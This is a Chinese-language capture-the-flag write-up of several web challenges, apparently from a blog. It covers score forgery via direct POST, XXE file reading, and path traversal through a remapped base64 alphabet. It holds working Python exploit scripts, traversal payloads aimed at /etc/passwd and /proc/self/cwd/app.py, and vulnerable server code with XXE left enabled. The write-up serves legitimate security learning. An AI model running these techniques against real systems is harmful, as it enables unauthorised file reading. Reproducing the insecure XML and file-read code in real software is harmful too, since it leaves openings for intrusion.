前言
前段时间坐了5个小时的高铁,在车上顺便打了个比赛,以下是web题解。
Game
拿到题发现是个老虎机= =,本能的查看JS:
http://4c7add9a08cb4acda1bec9c7693bf7d121100f86cdf74096.changame.ichunqiu.com/js/cqg.js
发现:
随机直接给score.php发包:
import requests url = 'http://4c7add9a08cb4acda1bec9c7693bf7d121100f86cdf74096.changame.ichunqiu.com/score.php' data = { 'score':'15' } r = requests.post(url,data) print r.content
who_are_you?
打开题目发现是个姓名输入,测试了一下发现不是啥注入登录= =:
随即查看了一下源代码:
发现存在xml语句,那么抓包尝试进行XXE文件读取:
发现是有回显的XXE,那么简单构造,探测过滤:
直接尝试任意文件读取:
探测web目录,上字典进行扫描:
直接发现了web目录,随即进行读取:
解码后发现得到flag:
<?php libxml_disable_entity_loader(false); $data = @file_get_contents('php://input'); $resp = ''; //$flag='flag{718a9c72-3d56-4ea9-9a14-d9db51228f61}'; if($data != false){ $dom = new DOMDocument(); $dom->loadXML($data, LIBXML_NOENT); ob_start(); $res = $dom->textContent; $resp = ob_get_contents(); ob_end_clean(); if ($res){ die($res); } } ?>
得到flag:
flag{718a9c72-3d56-4ea9-9a14-d9db51228f61}
show_me_your_image
拿到题目后,发现是一个上传界面:
上传图片后得到路径:
http://8ee9e71577b74be2a9678e5411e4b1b76b9c259063c54091.changame.ichunqiu.com/img.php?name=TYrg73eHzZhRjmPg
同时session为:
eyJmaWxlIjp7IiBiIjoiVkZseVp6Y3paVWg2V21oU2FtMVFadz09In19.XVWOtA.QVC_HI-oJpjQCJ1v1UaxzUEd2BA
解码得到:
题目有2个地方感觉比较奇怪,第一个地方是文件名比较奇怪,并不是普通的base64,第二个是session比较奇怪,像JWT又不是,观察题目的路由,是发给upload.php的,这是个PHP,却又有不符合php样子的东西,这一点为接下来的内容埋下了伏笔。
首先针对文件名进行研究,不难发现,文件名受上传文件的filename影响,同时并不是正常的base64。
同时如果想更改文件名进行任意文件读取,会返回500:
经过研究发现,码表是被更换过的,我们搞出码表的映射关系:
import string ax='YWFhYmJiY2NjZGRkZWVlZmZmZ2dnaGhoaWlpampqa2trbGxsbW1tbm5ub29vcHBwcXFxcnJyc3NzdHR0dXV1dnZ2d3d3eHh4eXl5enp6QUFBQkJCQ0NDRERERUVFRkZGR0dHSEhISUlJSkpKS0tLTExMTU1NTk5OT09PUFBQUVFRUlJSU1NTVFRUVVVVVlZWV1dXWFhYWVlZWlpaMDAwMTExMjIyMzMzNDQ0NTU1NjY2Nzc3ODg4OTk58+/7f' bx='0YNf0XCx0ODkMmW9MYPVMXMXMOSgTmfvTYVsTXsRTOFcAmHuAYrFAXh+AOn8jodpjLNHjgC4jUDBSoW1SLPrSgMOSUSU6ofb6LVh6gsKqJNdq9C3q1DyWiWiWJPNW9MmW1SoZif7ZJVCZ9szZ1Fa5iHl5JrD59hw51n2JNdqJPNWJVCZJrD5PNWJPPPPPVMYPrSLYNf0YPVMYVsTly/pl5iHlk74lBlBDyq1D5JrDk0ODBjUwyebw59htQEGI' c = string.maketrans(ax,bx) print(string.translate("index.php", c))
此时编码就正常了许多,我们可以进行任意文件读取了:
import string import requests import base64 url = 'http://8ee9e71577b74be2a9678e5411e4b1b76b9c259063c54091.changame.ichunqiu.com/img.php?name=' ax='YWFhYmJiY2NjZGRkZWVlZmZmZ2dnaGhoaWlpampqa2trbGxsbW1tbm5ub29vcHBwcXFxcnJyc3NzdHR0dXV1dnZ2d3d3eHh4eXl5enp6QUFBQkJCQ0NDRERERUVFRkZGR0dHSEhISUlJSkpKS0tLTExMTU1NTk5OT09PUFBQUVFRUlJSU1NTVFRUVVVVVlZWV1dXWFhYWVlZWlpaMDAwMTExMjIyMzMzNDQ0NTU1NjY2Nzc3ODg4OTk58+/7f' bx='0YNf0XCx0ODkMmW9MYPVMXMXMOSgTmfvTYVsTXsRTOFcAmHuAYrFAXh+AOn8jodpjLNHjgC4jUDBSoW1SLPrSgMOSUSU6ofb6LVh6gsKqJNdq9C3q1DyWiWiWJPNW9MmW1SoZif7ZJVCZ9szZ1Fa5iHl5JrD59hw51n2JNdqJPNWJVCZJrD5PNWJPPPPPVMYPrSLYNf0YPVMYVsTly/pl5iHlk74lBlBDyq1D5JrDk0ODBjUwyebw59htQEGI' c = string.maketrans(ax,bx) name = string.translate(base64.b64encode("../../../etc/passwd"), c) url = url+name r = requests.get(url) print r.content print url
此时对/proc目录进行读取探测,发现stat正常:
此时奇怪的事情发生了,看到了一个python3,明明是php的程序,为什么会有python3?
于是我对cmdline进行了读取:
发现还真有一个app.py被启动了,那么我赶紧对其源码进行读取:
../../../../proc/self/cwd/app.py
(这里要注意url编码)
即可拿到app.py:
import os from urllib import parse from base64 import b64decode, b64encode from utils import r_encode, r_decode, read_file from flask import render_template, Response from flask import Flask, session, redirect, request from werkzeug.utils import secure_filename app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(24) UPLOAD_FOLDER = '/tmp/uploads/' ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'} app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS @app.route('/') @app.route('/index.php') def home(): file = session.get('file') if file: file = bytes.decode(file) file = parse.quote(file) return render_template('index.html', file=file) @app.route('/upload.php', methods=['POST']) def upload(): if request.method == 'POST': file = request.files['file'] if file and allowed_file(file.filename): if not os.path.exists(app.config['UPLOAD_FOLDER']): os.makedirs(app.config['UPLOAD_FOLDER']) filename = secure_filename(file.filename) file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) else: return "不允许的格式" session['file'] = r_encode(b64encode(str.encode(file.filename))) return redirect('/') @app.route('/img.php', methods=['GET']) def img(): file = request.args.get("name") file = r_decode(str.encode(file)) file = b64decode(file) file = UPLOAD_FOLDER + bytes.decode(file) image = read_file(file) return Response(image, mimetype="image/jpeg") if __name__ == '__main__': app.run( host = '0.0.0.0', port = 80, )
不禁感叹出题人的阴线,把一个python题目搞成php的样子,叫这种名字的路由= =。
接着寻找flag文件,看到出题人的提示:
templates/upload.html
于是读取:
../../../../proc/self/cwd/templates/upload.html
得到:
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> <form action="upload.php" method="post" enctype="multipart/form-data"> <table> <tr> <td> 上传图片 </td> <td> <input type="file" name="file"> </td> </tr> </table> <input type="submit" value="上传"> </form> {% if file %} <img src="img.php?name={{ file }}"> {% else %} 请上传一张图片 {% endif %} </body> </html> <!-- flag in /root/flag.txt ! Get it ! -->
发下flag在/root/flag.txt,进行读取:
即可成功getflag。
后记
还有一个web全场没有人做,看题目描述是PostgreSQL注入,有机会再研究吧~